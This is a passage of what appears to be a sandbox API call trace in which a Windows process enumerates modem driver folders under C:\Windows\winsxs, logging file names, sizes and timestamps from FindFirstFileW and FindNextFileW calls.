	[0108.460] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.460] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxhv6.inf_loc", cAlternateFileName="MDMCXH~1.INF")) returned 1
	[0108.460] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.460] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.461] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxhv6.inf_31bf3856ad364e35_6.1.7600.16385_none_064a4eb4ec0af80f" (normalized: "c:\\windows\\winsxs\\amd64_mdmcxhv6.inf_31bf3856ad364e35_6.1.7600.16385_none_064a4eb4ec0af80f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.461] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxhv6.inf_31bf3856ad364e35_6.1.7600.16385_none_064a4eb4ec0af80f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a0d5c1, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32a0d5c1, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3294eef0, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1cffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxhv6.inf", cAlternateFileName="")) returned 1
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe007537e, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xe007537e, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x952e41fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x47800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAZL6.SYS", cAlternateFileName="")) returned 1
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd09423, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xdfd09423, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x9530a359, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTBS26.SYS", cAlternateFileName="")) returned 1
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfeac322, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xdfeac322, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x953304b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTBS36.SYS", cAlternateFileName="")) returned 1
	[0108.462] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06b4cc0, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xe06b4cc0, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x9575aaff, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTCNXT6.SYS", cAlternateFileName="")) returned 1
	[0108.463] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe036eec2, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xe036eec2, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x957f3077, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTDPV6.SYS", cAlternateFileName="")) returned 1
	[0108.463] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb403c7, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xdfb403c7, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x958191d5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTProf.cty", cAlternateFileName="")) returned 1
	[0108.463] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.463] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.465] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxpv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d07101ecaa44c4af" (normalized: "c:\\windows\\winsxs\\amd64_mdmcxpv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d07101ecaa44c4af"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.465] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxpv6.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d07101ecaa44c4af\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.465] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.465] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x166a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxpv6.inf_loc", cAlternateFileName="MDMCXP~1.INF")) returned 1
	[0108.465] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.465] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.466] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxpv6.inf_31bf3856ad364e35_6.1.7600.16385_none_1f3c6efc8093e1d7" (normalized: "c:\\windows\\winsxs\\amd64_mdmcxpv6.inf_31bf3856ad364e35_6.1.7600.16385_none_1f3c6efc8093e1d7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.466] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcxpv6.inf_31bf3856ad364e35_6.1.7600.16385_none_1f3c6efc8093e1d7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bdb0689, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bdb0689, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bdb0689, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bdb0689, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x326553ac, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x326553ac, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32596cdb, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1b534, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxpv6.inf", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd09423, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xdfd09423, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x9530a359, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTBS26.SYS", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06b4cc0, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xe06b4cc0, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x9575aaff, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTCNXT6.SYS", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe036eec2, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xe036eec2, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x957f3077, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTDPV6.SYS", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb403c7, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xdfb403c7, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x958191d5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTProf.cty", cAlternateFileName="")) returned 1
	[0108.467] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.467] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.469] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdcm5.inf_31bf3856ad364e35_6.1.7600.16385_none_46c088e6eb2f81f9" (normalized: "c:\\windows\\winsxs\\amd64_mdmdcm5.inf_31bf3856ad364e35_6.1.7600.16385_none_46c088e6eb2f81f9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.469] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdcm5.inf_31bf3856ad364e35_6.1.7600.16385_none_46c088e6eb2f81f9\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.469] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.470] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b38416d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3b38416d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3b29f93f, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdcm5.inf", cAlternateFileName="")) returned 1
	[0108.470] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.470] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.470] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdcm6.inf_31bf3856ad364e35_6.1.7600.16385_none_742b5ddb091f6248" (normalized: "c:\\windows\\winsxs\\amd64_mdmdcm6.inf_31bf3856ad364e35_6.1.7600.16385_none_742b5ddb091f6248"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.470] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdcm6.inf_31bf3856ad364e35_6.1.7600.16385_none_742b5ddb091f6248\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.470] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.470] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4e8609, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3e4e8609, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3e450095, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdcm6.inf", cAlternateFileName="")) returned 1
	[0108.470] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.470] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.471] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdf56f.inf_31bf3856ad364e35_6.1.7600.16385_none_96f15a57bd83c18d" (normalized: "c:\\windows\\winsxs\\amd64_mdmdf56f.inf_31bf3856ad364e35_6.1.7600.16385_none_96f15a57bd83c18d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.471] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdf56f.inf_31bf3856ad364e35_6.1.7600.16385_none_96f15a57bd83c18d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.471] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.471] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a0c55a7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3a0c55a7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3a006ed6, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdf56F.inf", cAlternateFileName="")) returned 1
	[0108.471] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.471] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.471] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdgitn.inf_31bf3856ad364e35_6.1.7600.16385_none_e651271284ede08a" (normalized: "c:\\windows\\winsxs\\amd64_mdmdgitn.inf_31bf3856ad364e35_6.1.7600.16385_none_e651271284ede08a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.472] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdgitn.inf_31bf3856ad364e35_6.1.7600.16385_none_e651271284ede08a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
